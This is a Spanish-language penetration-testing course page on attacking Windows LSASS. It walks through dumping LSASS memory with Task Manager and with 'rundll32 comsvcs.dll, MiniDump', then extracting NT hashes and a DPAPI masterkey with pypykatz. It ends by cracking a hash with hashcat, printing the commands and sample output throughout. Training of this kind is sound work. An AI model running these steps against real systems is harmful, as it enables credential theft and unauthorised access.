Saltar a contenido

Attacking LSASS

Además de obtener copias de la base de datos SAM para volcar y crackear hashes, también nos beneficiaremos de apuntar a LSASS. Como se discutió en la sección Credential Storage de este módulo, LSASS es un servicio crítico que juega un papel central en la gestión de credenciales y los procesos de autenticación en todos los sistemas operativos Windows.

lsass Diagram

Al iniciar sesión, LSASS:

  • Cachea credenciales localmente en memoria
  • Crea access tokens
  • Hace cumplir las políticas de seguridad
  • Escribe en el security log de Windows

Veamos algunas de las técnicas y herramientas que podemos usar para volcar la memoria de LSASS y extraer credenciales de un objetivo que ejecuta Windows.


Dumping LSASS Process Memory

Similar al proceso de atacar la base de datos SAM, con LSASS, sería prudente primero crear una copia del contenido de la memoria del proceso LSASS mediante la generación de un volcado de memoria. Crear un archivo de volcado nos permite extraer credenciales sin conexión usando nuestro host de ataque. Ten en cuenta que realizar ataques sin conexión nos da más flexibilidad en la velocidad de nuestro ataque y requiere menos tiempo en el sistema objetivo. Hay innumerables métodos que podemos usar para crear un volcado de memoria. Vamos a cubrir técnicas que se pueden realizar utilizando herramientas ya integradas en Windows.

Task Manager Method

Con acceso a una sesión gráfica interactiva con el objetivo, podemos usar el administrador de tareas para crear un volcado de memoria. Esto requiere que:

Task Manager Memory Dump

Open Task Manager > Select the Processes tab > Find & right click the Local Security Authority Process > Select Create dump file

Se crea y guarda un archivo llamado lsass.DMP en:

C:\Users\loggedonusersdirectory\AppData\Local\Temp

Este es el archivo que transferiremos a nuestro host de ataque. Podemos usar el método de transferencia de archivos discutido en la sección Attacking SAM de este módulo para transferir el archivo de volcado a nuestro host de ataque.

Rundll32.exe & Comsvcs.dll Method

El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI con un objetivo. Podemos usar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de línea de comandos llamada rundll32.exe. Esta forma es más rápida que el método del Administrador de Tareas y más flexible porque podemos obtener una sesión de shell en un host de Windows con solo acceso a la línea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.

Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:

Finding LSASS PID in cmd

Desde cmd, podemos emitir el comando tasklist /svc y encontrar lsass.exe y su ID de proceso en el campo PID.

C:\Windows\system32> tasklist /svc

Image Name                     PID Services
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
Registry                        96 N/A
smss.exe                       344 N/A
csrss.exe                      432 N/A
wininit.exe                    508 N/A
csrss.exe                      520 N/A
winlogon.exe                   580 N/A
services.exe                   652 N/A
lsass.exe                      672 KeyIso, SamSs, VaultSvc
svchost.exe                    776 PlugPlay
svchost.exe                    804 BrokerInfrastructure, DcomLaunch, Power,
                                   SystemEventsBroker
fontdrvhost.exe                812 N/A

Finding LSASS PID in PowerShell

Desde PowerShell, podemos emitir el comando Get-Process lsass y ver el ID del proceso en el campo Id.

PS C:\Windows\system32> Get-Process lsass

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1260      21     4948      15396       2.56    672   0 lsass

Una vez que tengamos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.

Creating lsass.dmp using PowerShell

Con una sesión elevada de PowerShell, podemos emitir el siguiente comando para crear el archivo de volcado:

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

Con este comando, estamos ejecutando rundll32.exe para llamar a una función exportada de comsvcs.dll que también llama a la función MiniDumpWriteDump (MiniDump) para volcar la memoria del proceso LSASS a un directorio especificado (C:\lsass.dmp). Recuerda que la mayoría de las herramientas AV modernas reconocen esto como malicioso y evitan que se ejecute el comando. En estos casos, tendremos que considerar formas de evitar o desactivar la herramienta AV que enfrentamos. Las técnicas de evasión de AV están fuera del alcance de este módulo.

Si logramos ejecutar este comando y generar el archivo lsass.dmp, podemos proceder a transferir el archivo a nuestro equipo de ataque para intentar extraer cualquier credencial que pueda haber estado almacenada en la memoria del proceso LSASS.

Nota: Podemos usar el método de transferencia de archivos discutido en la sección Attacking SAM para obtener el archivo lsass.dmp del objetivo a nuestro host de ataque.


Using Pypykatz to Extract Credentials

Una vez que tenemos el archivo de volcado en nuestro host de ataque, podemos usar una poderosa herramienta llamada pypykatz para intentar extraer credenciales del archivo .dmp. Pypykatz es una implementación de Mimikatz escrita completamente en Python. El hecho de que esté escrita en Python nos permite ejecutarla en hosts de ataque basados en Linux. En el momento de escribir esto, Mimikatz solo se ejecuta en sistemas Windows, por lo que para usarlo, necesitaríamos usar un host de ataque de Windows o ejecutar Mimikatz directamente en el objetivo, lo cual no es un escenario ideal. Esto hace que Pypykatz sea una alternativa atractiva porque todo lo que necesitamos es una copia del archivo de volcado, y podemos ejecutarlo sin conexión desde nuestro host de ataque basado en Linux.

Recuerda que LSASS almacena credenciales que tienen sesiones de inicio de sesión activas en sistemas Windows. Cuando volcamos la memoria del proceso LSASS en el archivo, esencialmente tomamos una "instantánea" de lo que había en la memoria en ese momento. Si había sesiones de inicio de sesión activas, las credenciales utilizadas para establecerlas estarán presentes. Vamos a ejecutar Pypykatz contra el archivo de volcado y descubrirlo.

Running Pypykatz

El comando inicia el uso de pypykatz para analizar los secretos ocultos en el volcado de memoria del proceso LSASS. Usamos lsa en el comando porque LSASS es un subsistema de local security authority, luego especificamos la fuente de datos como un archivo minidump, seguido de la ruta al archivo de volcado (/home/peter/Documents/lsass.dmp) almacenado en nuestro host de ataque. Pypykatz analiza el archivo de volcado y muestra los resultados:

pypykatz lsa minidump /home/peter/Documents/lsass.dmp 

INFO:root:Parsing file /home/peter/Documents/lsass.dmp
FILE: ======== /home/peter/Documents/lsass.dmp =======
== LogonSession ==
authentication_id 1354633 (14ab89)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
    == MSV ==
        Username: bob
        Domain: DESKTOP-33E7O54
        LM: NA
        NT: 64f12cddaa88057e06a81b54e73b949b
        SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
        DPAPI: NA
    == WDIGEST [14ab89]==
        username bob
        domainname DESKTOP-33E7O54
        password None
        password (hex)
    == Kerberos ==
        Username: bob
        Domain: DESKTOP-33E7O54
    == WDIG

EST [14ab89]==
        username bob
        domainname DESKTOP-33E7O54
        password None
        password (hex)
    == DPAPI [14ab89]==
        luid 1354633
        key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
        masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
        sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

== LogonSession ==
authentication_id 1354581 (14ab55)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354581
    == MSV ==
        Username: bob
        Domain: DESKTOP-33E7O54
        LM: NA
        NT: 64f12cddaa88057e06a81b54e73b949b
        SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
        DPAPI: NA
    == WDIGEST [14ab55]==
        username bob
        domainname DESKTOP-33E7O54
        password None
        password (hex)
    == Kerberos ==
        Username: bob
        Domain: DESKTOP-33E7O54
    == WDIGEST [14ab55]==
        username bob
        domainname DESKTOP-33E7O54
        password None
        password (hex)

== LogonSession ==
authentication_id 1343859 (148173)
session_id 2
username DWM-2
domainname Window Manager
logon_server 
logon_time 2021-12-14T18:14:25.248681+00:00
sid S-1-5-90-0-2
luid 1343859
    == WDIGEST [148173]==
        username WIN-6T0C3J2V6HP$
        domainname WORKGROUP
        password None
        password (hex)
    == WDIGEST [148173]==
        username WIN-6T0C3J2V6HP$
        domainname WORKGROUP
        password None
        password (hex)

Vamos a echar un vistazo más detallado a alguna de la información útil en la salida.

MSV

sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
    == MSV ==
        Username: bob
        Domain: DESKTOP-33E7O54
        LM: NA
        NT: 64f12cddaa88057e06a81b54e73b949b
        SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
        DPAPI: NA

MSV es un paquete de autenticación en Windows que LSA llama para validar los intentos de inicio de sesión contra la base de datos SAM. Pypykatz extrajo el SID, Username, Domain e incluso los hashes de contraseña NT y SHA1 asociados con la sesión de inicio de sesión del usuario bob almacenada en la memoria del proceso LSASS. Esto será útil en la etapa final de nuestro ataque cubierto al final de esta sección.

WDIGEST

    == WDIGEST [14ab89]==
        username bob
        domainname DESKTOP-33E7O54
        password None
        password (hex)

WDIGEST es un protocolo de autenticación más antiguo habilitado por defecto en Windows XP - Windows 8 y Windows Server 2003 - Windows Server 2012. LSASS cachea las credenciales usadas por WDIGEST en texto claro. Esto significa que si nos encontramos atacando un sistema Windows con WDIGEST habilitado, es muy probable que veamos una contraseña en texto claro. Los sistemas operativos Windows modernos tienen WDIGEST deshabilitado por defecto. Además, es importante notar que Microsoft lanzó una actualización de seguridad para los sistemas afectados por este problema con WDIGEST. Podemos estudiar los detalles de esa actualización de seguridad aquí.

Kerberos

    == Kerberos ==
        Username: bob
        Domain: DESKTOP-33E7O54

Kerberos es un protocolo de autenticación de red utilizado por Active Directory en entornos de dominio de Windows. A las cuentas de usuario de dominio se les otorgan tickets al autenticarse con Active Directory. Este ticket se usa para permitir al usuario acceder a recursos compartidos en la red a los que se le ha otorgado acceso sin necesidad de escribir sus credenciales cada vez. LSASS cachea contraseñas, ekeys, tickets y pins asociados con Kerberos. Es posible extraer estos de la memoria del proceso LSASS y usarlos para acceder a otros sistemas unidos al mismo dominio.

DPAPI

    == DPAPI [14ab89]==
        luid 1354633
        key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
        masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
        sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

El Data Protection Application Programming Interface o DPAPI es un conjunto de API en los sistemas operativos Windows utilizados para cifrar y descifrar blobs de datos DPAPI en función del usuario para las funciones del sistema operativo Windows y varias aplicaciones de terceros. Aquí hay solo algunos ejemplos de aplicaciones que usan DPAPI y para qué lo usan:

Applications Use of DPAPI
Internet Explorer Datos de autocompletado de formularios de contraseña (nombre de usuario y contraseña para sitios guardados).
Google Chrome Datos de autocompletado de formularios de contraseña (nombre de usuario y contraseña para sitios guardados).
Outlook Contraseñas para cuentas de correo electrónico.
Remote Desktop Connection Credenciales guardadas para conexiones a máquinas remotas.
Credential Manager Credenciales guardadas para acceder a recursos compartidos, unirse a redes inalámbricas, VPNs y más.

Mimikatz y Pypykatz pueden extraer la masterkey de DPAPI para el usuario que ha iniciado sesión cuyos datos están presentes en la memoria del proceso LSASS. Esta masterkey puede luego usarse para descifrar los secretos asociados con cada una de las aplicaciones que utilizan DPAPI y resultar en la captura de credenciales para varias cuentas. Las técnicas de ataque de DPAPI se cubren en mayor detalle en el módulo Windows Privilege Escalation.

Cracking the NT Hash with Hashcat

Ahora podemos usar Hashcat para crackear el hash NT. En este ejemplo, solo encontramos un hash NT asociado con el usuario Bob, lo que significa que no necesitaremos crear una lista de hashes como lo hicimos en la sección Attacking SAM de este módulo. Después de configurar el modo en el comando, podemos pegar el hash, especificar una lista de palabras y luego crackear el hash.

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

64f12cddaa88057e06a81b54e73b949b:Password1

Nuestro intento de crackeo se completa y nuestro ataque general puede considerarse un éxito.